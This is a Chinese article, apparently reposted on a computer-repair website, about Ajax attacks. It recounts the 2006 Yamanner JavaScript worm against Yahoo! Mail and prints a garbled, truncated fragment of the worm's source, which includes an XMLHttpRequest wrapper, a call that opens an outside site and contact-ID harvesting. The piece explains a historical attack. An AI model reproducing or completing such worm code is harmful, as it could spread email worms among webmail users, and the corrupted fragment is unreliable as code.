长沙电脑维修-长沙电脑上门维修-笔记本维修-上门修显示器
滚动新闻:
  网站首页     维修业界     网络安全     硬件故障     软件故障     系统故障     硬件维修     系统安装     驱动下载     维修信息  
欢迎来到长沙电脑维修网,一个电话上门维修电脑 13347311093 0731-82917806 您的满意是我们进步的动力! 请您留言|设为首页|加入收藏
长沙电脑上门维修
您当前位置:网站首页 >> 硬件故障 >> 显卡故障 >> 正文阅读

Web2.0网站攻击新潮—Ajax Hacking


来源:互联网 发布时间:2009-05-01 00:20:36 查看次数:

长沙监控安装

05年初,随着web2.0这个字眼在中国的各大网络媒体上如潮水般的涌现,Ajax技术(AJAX,即"Asynchronous JavaScript And XML"的缩写,可翻译为异步JavaScript及XML技术。其核心是一个寄宿在浏览器中名为XMLHTTPRequest的类)也立即成为了大家学习研究及讨论的焦点。当然凡事有利亦有弊,黑客们很快就找到了Ajax的可攻击弱点——SQL资料隐码(SQL injections)、跨站脚本(cross-site scripting)和服务拒绝攻击(Denial of Service)等。只是当时web2.0技术尚没有像如今一样流行,而且没有比较正规化的平台发展起来,所以并没有大量的攻击出现。

真正的大型Ajax攻击在今年的6月12日首次出现在Yahoo!的Email服务上,而且甚至引起symantec的高度警觉。在其官方网站上你可以看到如下信息

Discovered: June 12, 2006
Updated: June 20, 2006 10:46:40 AM ZW3
Also Known As: JS/Yamanner@MM [McAfee], JS_YAMANER.A [Trend Micro], Yamanner.A [F-Secure], JS/Yamann-A [Sophos]
Type: Worm
Infection Length: 6,377 bytes.
Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP
JS.Yamanner@m is a worm that is written in JavaScript. It exploits a vulnerability in the Yahoo! Mail service to send a copy of itself to other Yahoo! Mail contacts.

你可以看到该攻击程序为一大小为6.377k的javascript蠕虫程序,并在20日进行了变种;因为是 javascript代码,所以可以通吃所有版本的windows操作系统。Symantec对其的官方解释为:Yamanner是一个用 javascript写的蠕虫,它利用Yahoo! Mail服务的一个弱点以用户的联系人列表向外发出自己的拷贝。事实上这个蠕虫甚至不需要你打开附件,只要一浏览邮件立即会使其蔓延。我很幸运地对于当时原始的病毒代码进行收集,有兴趣的可以到光盘中查看,如今在网上几乎找不到了。从其中的一段功能代码,你可以看出javascript究竟是怎么被写入的,写入后文件又是通过什么方式调用的: 

  1. IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,  
  2. Param) { //- - 执行标准的Ajax语句:XMLHttpRequest,并对浏览器是否IE进行判断 if (window.XMLHttpRequest) { http_request =  
  3. new XMLHttpRequest(); } else if (window.ActiveXObject) {  
  4. http_request = new ActiveXObject('Microsoft.XMLHTTP'); }  
  5. http_request.target=""onreadystatechange = Func;  
  6. http_request.open(Method, url, true); if( Method == 'GET')  
  7. http_request.send(null); else http_request.send(Param);  
  8. }window.open('http://www,lastdata.com'); ServerUrl = url0;USIndex =  
  9. ServerUrl.indexOf('us.' ,0);MailIndex = ServerUrl.indexOf('.mail' ,0);CutLen =  
  10. MailIndex - USIndex - 3;var Server = ServerUrl.substr(USIndex + 3, CutLen);  
  11. function GetIDs(HtmlContent) { IDList = ''StartString = '  
  12. '; EndString = ''

·上一条:AJAX应用中使用TODO服务[ASP.NET]
·下一条:Ajax让网页木马“悄悄的执行”
相关文章
·怎样进入BOIS进行显卡超频? 2010-08-04 01:48:22
·如何设置显卡到最佳性能 2010-08-04 01:39:09
·显卡质量不佳或显卡与主板不兼容 2011-03-05 16:39:38
·装显卡驱动后一进入系统电脑就自动重启 2012-02-21 00:59:38
·进入游戏时电脑出现黑屏现象 2012-02-01 23:50:09
·电脑总进入安全模式提示显卡驱动程序不正确 2012-01-31 06:39:09
·提示显卡驱动程序不正确 无法设置分辨率原因 2012-01-20 11:32:57
·电脑开机没反应 没有报警声之显卡 2012-01-15 00:42:30
文章评论
现在有0人对本文发表评论 查看所有评论
同行交流
电脑维修公司
宇翔电脑维修
  最新文章
·用VGA接口连显示器 电脑经常死机无法进系统
·显卡电容爆浆故障导致进系统时花屏
·用驱动人生更新显卡后显示不正常了
·显卡不装驱动正常使用但是装上驱动就蓝屏重
·台式电脑的显卡有多个显示接口也不能实现三
·电脑停留在开机主板信息界面不动了
·什么因素影响笔记本显卡的性能
·打开软件或文档显示空白 鼠标移过才显示出来
·电脑开启TC功能后总是出现死机现象
·什么原因导致显卡瞬间电压不够而死机
·主板集成显卡和独立显卡冲突的解决方法
·插显卡后开不了机 电脑发出一长两短声
·退出“FEAR”游戏时出现花屏或黑屏现象
·电脑玩游戏花屏但电脑没死机
·显卡连接电视显示黑白画面
苹果双系统安装
  热门文章
·显卡显存容量是越大越好吗
·电脑停留在开机主板信息界面不动了
·电脑集成显卡坏了怎么办?
·如何设置显卡到最佳性能
·用驱动人生更新显卡后显示不正常了
·电脑开机黑屏 检测卡显示代码85
·显卡不装驱动正常使用但是装上驱动就蓝屏重
·Ajax 技术从入门到精髓
·显卡GPU主流应用技术详解
·显示器显示颜色不正常 更改不了分辨率
·主板集成显卡和独立显卡冲突的解决方法
·怎样提高集成显卡的性能问答
·Ajax让网页木马“悄悄的执行”
·Web2.0网站攻击新潮—Ajax Hacking
·显卡与主板接触不良导致电脑无法启动
关于我们 | 公司介绍 | 维修报价 | 免责声明 | 阅读须知 | 内容目录 | 湘ICP备16016646号-1
联系邮箱:270024428@qq.com 联系QQ:270024428
Copyright 2019, 长沙电脑维修网版权所有.